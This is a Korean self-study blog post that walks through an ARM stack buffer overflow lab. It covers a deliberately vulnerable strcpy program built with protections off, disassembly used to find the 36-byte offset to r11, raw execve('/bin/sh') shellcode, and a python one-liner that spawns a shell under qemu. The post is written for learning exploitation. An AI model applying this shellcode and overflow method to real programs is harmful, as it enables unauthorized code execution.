Self-Improvement

ARM - Buffer Overflow (Shellcode, r11을 덮자) 본문

ARM

ARM - Buffer Overflow (Shellcode, r11을 덮자)

JoGeun 2021. 1. 15. 16:50

크로스 컴파일 및 편리하게 ld-linux.so.3 복사

johyungen.tistory.com/391

 

크로스 컴파일 (cross compile)

https://nightohl.tistory.com/entry/%EC%9A%B0%EB%B6%84%ED%88%AC%EC%97%90%EC%84%9C-arm-%ED%81%AC%EB%A1%9C%EC%8A%A4%EC%BB%B4%ED%8C%8C%EC%9D%BC-%EB%B0%8F-%EB%94%94%EB%B2%84%EA%B9%85 우분투에서 arm 크로..

johyungen.tistory.com

R11 -> &lr(돌아갈 주소를 갖는 레지스터)

 

 

소스코드

ASLR, NX, Canary 보호기법 해제

#arm-linux-gnueabi-gcc -z execstack -fno-stack-protector -o bof bof.c
#include <string.h>
#include <stdio.h>


int main(int argc, char *argv[]){

    char arr[30];

    strcpy(arr, argv[1]);
    printf("arr: %s\n", arr);
    return 0;
}

 

디버깅

strcpy는 길이를 확인하지 않는 함수임으로 bof가 발생함으로 스택에 쉘코드(28byte)를 올리고 쉘을 얻어본다.

\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78

 

그냥 실행하고 스택의 크기를 확인해본다.

qemu-arm-static -L /usr/arm-linux-gnueabi -g 8888 ./bof AAAABBBB
gef➤  target remote :8888

 

메인을 확인하며 strcpy 함수가 실행되는 곳에 bp를 걸고 스택을 가득채우기 위해 필요한 byte를 확인한다.

아니면 소스코드를 보면 대략적으로 알 수 있다. char arr[30] = 32byte 형성, 프롤로그에서 4byte 형성 --> 36byte

$r11에 리턴주소를 넣어야하는 이유는 에필로그에서 r11-4를 sp(스택포인터)에 대입하게 되고 다음 pop으로 인해 pc에 r11에 있었던 값이 들어가게 된다.

gef➤  disassemble main
Dump of assembler code for function main:
   0x00010468 <+0>:	push	{r11, lr}
   0x0001046c <+4>:	add	r11, sp, #4
   0x00010470 <+8>:	sub	sp, sp, #40	; 0x28
   0x00010474 <+12>:	str	r0, [r11, #-40]	; 0xffffffd8
   0x00010478 <+16>:	str	r1, [r11, #-44]	; 0xffffffd4
   0x0001047c <+20>:	ldr	r3, [r11, #-44]	; 0xffffffd4
   0x00010480 <+24>:	add	r3, r3, #4
   0x00010484 <+28>:	ldr	r2, [r3]
   0x00010488 <+32>:	sub	r3, r11, #36	; 0x24
   0x0001048c <+36>:	mov	r1, r2
   0x00010490 <+40>:	mov	r0, r3
   0x00010494 <+44>:	bl	0x10310 <strcpy@plt>
   0x00010498 <+48>:	sub	r3, r11, #36	; 0x24
   0x0001049c <+52>:	mov	r1, r3
   0x000104a0 <+56>:	ldr	r0, [pc, #16]	; 0x104b8 <main+80>
   0x000104a4 <+60>:	bl	0x10304 <printf@plt>
   0x000104a8 <+64>:	mov	r3, #0
   0x000104ac <+68>:	mov	r0, r3
   0x000104b0 <+72>:	sub	sp, r11, #4
   0x000104b4 <+76>:	pop	{r11, pc}
   0x000104b8 <+80>:	andeq	r0, r1, r12, lsr #10
End of assembler dump.
gef➤  b *main+44
gef➤  c

 

익스

strcpy 함수에서 0x40800000 주소에 저장하며 $r11(프레임 포인트)와의 차이는 0x24byte 즉 36byte를 채우면 $r11에 도달할 수 있다.

 

$r11에는 strcpy로 받은 주소는 입력한 값에 따라 변하기 때문에 가득채워보고 주소를 얻어야한다.... 흠... 머 변하지 않으니깐

바로 쉘 얻어보자

qemu-arm-static -L /usr/arm-linux-gnueabi ./bof `python -c 'print "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78"+"\x90"*8+"\xe0\xff\x7f\x40"'`
arr: 0���/��I@R@�q
                     '�/bin/shxAAAAAAAA��@
$ ls
bof  bof.c  core
$ exit